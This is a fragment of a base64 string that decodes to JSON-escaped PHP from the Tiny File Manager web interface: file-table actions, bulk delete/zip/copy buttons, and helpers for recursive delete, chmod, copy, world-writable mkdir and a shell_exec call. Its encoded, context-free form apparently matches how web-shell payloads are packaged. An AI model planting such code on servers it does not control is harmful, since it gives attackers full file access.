GVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PlwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1saW5rXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj48aSBjbGFzcz1cImZhIGZhLWRvd25sb2FkXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgZmx1c2goKTtcbiAgICAgICAgICAgICAgICAkaWsrKztcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+XG4gICAgICAgICAgICAgICAgPHRmb290PlxuICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48XC9lbT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfSBlbHNlIHsgPz5cbiAgICAgICAgICAgICAgICA8dGZvb3Q+XG4gICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImdyYXkgZnMtN1wiIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuIGZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpIC4gJzxcL3NwYW4+JyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuICRudW1fZmlsZXMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpIC4gJzogPHNwYW4gY2xhc3M9XCJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMFwiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocCB9ID8+XG4gICAgICAgIDxcL3RhYmxlPlxuICAgIDxcL2Rpdj5cblxuICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS05XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBmbGV4LXdyYXBcIiBkYXRhLXRvZ2dsZT1cImJ1dHRvbnNcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiI1wvc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIiNcL3Vuc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXdpbmRvdy1jbG9zZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJkZWxldGVcIiBpZD1cImEtZGVsZXRlXCIgdmFsdWU9XCJEZWxldGVcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMlwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJ6aXBcIiBpZD1cImEtemlwXCIgdmFsdWU9XCJ6aXBcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKVwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiaGlkZGVuXCIgbmFtZT1cInRhclwiIGlkPVwiYS10YXJcIiB2YWx1ZT1cInRhclwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7XCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIj48aSBjbGFzcz1cImZhIGZhLWZpbGUtYXJjaGl2ZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiY29weVwiIGlkPVwiYS1jb3B5XCIgdmFsdWU9XCJDb3B5XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMyBkLW5vbmUgZC1zbS1ibG9ja1wiPjxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wiIHRhcmdldD1cIl9ibGFua1wiIGNsYXNzPVwiZmxvYXQtcmlnaHQgdGV4dC1tdXRlZFwiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48XC9hPjxcL2Rpdj5cbiAgICAgICAgPD9waHAgZWxzZTogPz5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj48YSBocmVmPVwiaHR0cHM6XC9cL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW9cIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWRcIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9kaXY+XG4gICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgIDxcL2Rpdj5cbjxcL2Zvcm0+XG5cbjw/cGhwXG5mbV9zaG93X2Zvb3RlcigpO1xuXG5cL1wvIC0tLSBFTkQgSFRNTCAtLS1cblxuXC9cLyBGdW5jdGlvbnNcblxuXC8qKlxuICogSXQgcHJpbnRzIHRoZSBjc3NcL2pzIGZpbGVzIGludG8gaHRtbFxuICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LlxuICpcL1xuZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSlcbntcbiAgICBnbG9iYWwgJGV4dGVybmFsO1xuXG4gICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHtcbiAgICAgICAgZWNobyBcIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+XCI7XG4gICAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBlY2hvIFwiJGV4dGVybmFsWyRrZXldXCI7XG59XG5cblwvKipcbiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkXG4gKiBAcGFyYW0gc3RyaW5nICR0b2tlblxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiB2ZXJpZnlUb2tlbigkdG9rZW4pXG57XG4gICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSlcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aClcbntcbiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7XG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcbiAgICAgICAgJG9rID0gdHJ1ZTtcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xuICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XG4gICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7XG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIFJlY3Vyc2l2ZSBjaG1vZFxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICogQHBhcmFtIGludCAkZmlsZW1vZGVcbiAqIEBwYXJhbSBpbnQgJGRpcm1vZGVcbiAqIEByZXR1cm4gYm9vbFxuICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZFxuICpcL1xuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxue1xuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdFxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSlcbntcbiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7XG5cbiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xuICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7XG5cbiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2FmZWx5IHJlbmFtZVxuICogQHBhcmFtIHN0cmluZyAkb2xkXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcbiAqIEByZXR1cm4gYm9vbHxudWxsXG4gKlwvXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcbntcbiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTtcblxuICAgIGlmICghaXNfZGlyKCRvbGQpKSB7XG4gICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsO1xufVxuXG5cLyoqXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcGFyYW0gc3RyaW5nICRkZXN0XG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xuICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKVxue1xuICAgIGlmICghaXNfZGlyKCRwYXRoKSAmJiAhaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuXG4gICAgICAgICRvYmplY3RzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pO1xuXG4gICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KFwiJHBhdGhcLyRmaWxlXCIsIFwiJGRlc3RcLyRmaWxlXCIsICR1cGQsICRmb3JjZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xufVxuXG5cblwvKipcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRkaXJcbiAqIEBwYXJhbSBib29sICRmb3JjZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpXG57XG4gICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7XG4gICAgICAgIGlmIChpc19kaXIoJGRpcikpIHtcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xuICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHVubGluaygkZGlyKTtcbiAgICB9XG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xufVxuXG5cLyoqXG4gKiBTYWZlbHkgY29weSBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRmMVxuICogQHBhcmFtIHN0cmluZyAkZjJcbiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudFxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxue1xuICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpO1xuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XG4gICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpO1xuICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XG4gICAgaWYgKCRvaykge1xuICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7XG4gICAgfVxuICAgIHJldHVybiAkb2s7XG59XG5cblwvKipcbiAqIEdldCBtaW1lIHR5cGVcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxuICogQHJldHVybiBtaXhlZHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcbntcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHtcbiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xuICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTtcbiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHtcbiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpO1xuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XG4gICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7XG4gICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiAnLS0nO1xuICAgIH1cbn1cblxuXC8qKlxuICogSFRUUCBSZWRpcmVjdFxuICogQHBhcmFtIHN0cmluZyAkdXJsXG4gKiBAcGFyYW0gaW50ICRjb2RlXG4gKlwvXG5mdW5jdGlvbiBmbV9yZWRpcmVjdCgkdXJsLCAkY29kZSA9IDMwMilcbntcbiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJGNvZGUpO1xuICAgIGV4aXQ7XG59XG5cblwvKipcbiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmxcbiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgXC8gYW5kIFxcXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIFwvLiBhbmQgXC8uLiBmaW5lLlxuICogQHBhcmFtICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpXG57XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnXC8nLCAnXFxcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XG4gICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7XG4gICAgJGFic29sdXRlcyA9IGFycmF5KCk7XG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XG4gICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlO1xuICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkge1xuICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7XG4gICAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29s